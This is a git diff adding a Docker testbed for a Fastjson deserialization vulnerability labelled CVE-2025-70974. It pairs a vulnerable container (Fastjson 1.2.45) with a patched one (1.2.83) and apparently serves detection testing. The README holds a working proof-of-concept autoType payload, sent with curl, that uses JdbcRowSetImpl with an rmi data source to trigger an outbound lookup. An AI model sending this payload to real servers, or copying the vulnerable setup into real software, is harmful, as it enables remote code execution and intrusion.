diff --git a/fastjson/CVE-2025-70974/README.md b/fastjson/CVE-2025-70974/README.md new file mode 100644 index 00000000..badaebab --- /dev/null +++ b/fastjson/CVE-2025-70974/README.md @@ -0,0 +1,62 @@ +# CVE-2025-70974 + +Testbed is in fastjson-playground. +``` +cd fastjson-playground +docker-compose up +``` + +In each Dockerfile, a different pom.xml file is used, with a different version of Fastjson. This is configured as the default JSON parser for the web server. It uses Fastjson version 1.2.83 for the safe container and 1.2.45 for the vulnerable container. + + +## Note for testing +Detection requires a DNS interaction. Configure the callback server appropriately. + + + +## Proof of concept for vulnerable instance: +``` +curl -X POST http://localhost:8081/ \ + -H "Content-Type: application/json" \ + -d '{ + "a": { + "@type": "java.lang.Class", + "val": "com.sun.rowset.JdbcRowSetImpl" + }, + "b": { + "@type": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "rmi:///NoObjectHere", + "autoCommit": true + } + }' +``` +Response hangs, DNS request received. + + +## Proof of concept for safe instance: +``` +curl -X POST http://localhost:8082/ \ + -H "Content-Type: application/json" \ + -d '{ + "a": { + "@type": "java.lang.Class", + "val": "com.sun.rowset.JdbcRowSetImpl" + }, + "b": { + "@type": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "rmi:///NoObjectHere", + "autoCommit": true + } + }' +``` +Response: +``` +{ + "timestamp":1769092268366, + "status":400, + "error":"Bad Request", + "exception":"org.springframework.http.converter.HttpMessageNotReadableException", + "message":"JSON parse error: autoType is not support. com.sun.rowset.JdbcRowSetImpl; nested exception is com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl", + "path":"/" +} +``` diff --git a/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-safe b/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-safe new file mode 100644 index 00000000..46374bd1 --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-safe @@ -0,0 +1,25 @@ +# ---------- Build stage ---------- +FROM maven:3.9.6-eclipse-temurin-8 AS builder + +WORKDIR /build + +# Copy only pom.xml first (better layer caching) +COPY pom-safe.xml pom.xml + +# Copy source code +COPY src ./src + +# Build the jar +RUN mvn -B clean package + +# ---------- Runtime stage ---------- +FROM eclipse-temurin:8-jre + +WORKDIR /app + +# Copy the built jar from the build stage +COPY --from=builder /build/target/*.jar app.jar + +EXPOSE 8080 + +ENTRYPOINT ["java", "-jar", "app.jar"] diff --git a/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-vuln b/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-vuln new file mode 100644 index 00000000..94c48b1b --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/Dockerfile-vuln @@ -0,0 +1,25 @@ +# ---------- Build stage ---------- +FROM maven:3.9.6-eclipse-temurin-8 AS builder + +WORKDIR /build + +# Copy only pom.xml first (better layer caching) +COPY pom-vuln.xml pom.xml + +# Copy source code +COPY src ./src + +# Build the jar +RUN mvn -B clean package + +# ---------- Runtime stage ---------- +FROM eclipse-temurin:8-jre + +WORKDIR /app + +# Copy the built jar from the build stage +COPY --from=builder /build/target/*.jar app.jar + +EXPOSE 8080 + +ENTRYPOINT ["java", "-jar", "app.jar"] diff --git a/fastjson/CVE-2025-70974/fastjson-playground/docker-compose.yaml b/fastjson/CVE-2025-70974/fastjson-playground/docker-compose.yaml new file mode 100644 index 00000000..987719b6 --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/docker-compose.yaml @@ -0,0 +1,20 @@ +version: "3.8" + +services: + fastjson-vuln: + build: + context: . + dockerfile: Dockerfile-vuln + container_name: fastjson-vuln + ports: + - "8081:8080" + + fastjson-safe: + build: + context: . + dockerfile: Dockerfile-safe + container_name: fastjson-safe + ports: + - "8082:8080" + + diff --git a/fastjson/CVE-2025-70974/fastjson-playground/pom-safe.xml b/fastjson/CVE-2025-70974/fastjson-playground/pom-safe.xml new file mode 100644 index 00000000..d435c45d --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/pom-safe.xml @@ -0,0 +1,56 @@ + + 4.0.0 + + com.example + fastjson-playground + 1.0 + + + org.springframework.boot + spring-boot-starter-parent + 1.5.9.RELEASE + + + 1.8 + + + + + + + org.springframework.boot + spring-boot-starter-web + + + com.fasterxml.jackson.core + jackson-databind + + + + + + com.alibaba + fastjson + 1.2.83 + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.7.15 + + + + repackage + + + + + + + + diff --git a/fastjson/CVE-2025-70974/fastjson-playground/pom-vuln.xml b/fastjson/CVE-2025-70974/fastjson-playground/pom-vuln.xml new file mode 100644 index 00000000..8fd3afa6 --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/pom-vuln.xml @@ -0,0 +1,56 @@ + + 4.0.0 + + com.example + fastjson-playground + 1.0 + + + org.springframework.boot + spring-boot-starter-parent + 1.5.9.RELEASE + + + 1.8 + + + + + + + org.springframework.boot + spring-boot-starter-web + + + com.fasterxml.jackson.core + jackson-databind + + + + + + com.alibaba + fastjson + 1.2.45 + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.7.15 + + + + repackage + + + + + + + + diff --git a/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/FastjsonPlaygroundApplication.java b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/FastjsonPlaygroundApplication.java new file mode 100644 index 00000000..3a994e66 --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/FastjsonPlaygroundApplication.java @@ -0,0 +1,29 @@ +package com.example.fastjsonplayground; + +import com.alibaba.fastjson.serializer.SerializerFeature; +import com.alibaba.fastjson.support.config.FastJsonConfig; +import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.web.HttpMessageConverters; +import org.springframework.context.annotation.Bean; + +@SpringBootApplication +public class FastjsonPlaygroundApplication { + + public static void main(String[] args) { + SpringApplication.run(FastjsonPlaygroundApplication.class, args); + } + + @Bean + public HttpMessageConverters fastJsonHttpMessageConverters() { + FastJsonHttpMessageConverter converter = + new FastJsonHttpMessageConverter(); + + FastJsonConfig config = new FastJsonConfig(); + config.setSerializerFeatures(SerializerFeature.PrettyFormat); + + converter.setFastJsonConfig(config); + return new HttpMessageConverters(converter); + } +} diff --git a/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/JsonController.java b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/JsonController.java new file mode 100644 index 00000000..6e9659ed --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/JsonController.java @@ -0,0 +1,32 @@ +package com.example.fastjsonplayground; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; + +@Controller +public class JsonController { + + @RequestMapping( + value = "/", + method = RequestMethod.GET, + produces = "application/json;charset=UTF-8" + ) + @ResponseBody + public Object getUser() { + User user = new User(); + user.setName("Alice"); + user.setAge(30); + return user; + } + + @RequestMapping( + value = "/", + method = RequestMethod.POST, + produces = "application/json;charset=UTF-8" + ) + @ResponseBody + public Object setUser(@RequestBody User user) { + user.setAge(21); + return user; + } +} diff --git a/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/User.java b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/User.java new file mode 100644 index 00000000..52eb44c3 --- /dev/null +++ b/fastjson/CVE-2025-70974/fastjson-playground/src/main/java/com/example/fastjsonplayground/User.java @@ -0,0 +1,28 @@ +package com.example.fastjsonplayground; + +import com.alibaba.fastjson.annotation.JSONField; + +public class User { + + @JSONField + private String name; + + @JSONField + private Integer age; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Integer getAge() { + return age; + } + + public void setAge(Integer age) { + this.age = age; + } +}